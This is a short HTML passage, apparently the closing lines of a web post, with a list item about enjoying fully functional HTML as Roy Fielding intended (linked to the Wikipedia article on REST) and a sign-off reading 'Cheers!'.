<li>enjoy fully functional HTML, the way <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_State_Transfer">Roy Fielding</a> intended it</li>
</ul>
<p>Cheers!</p>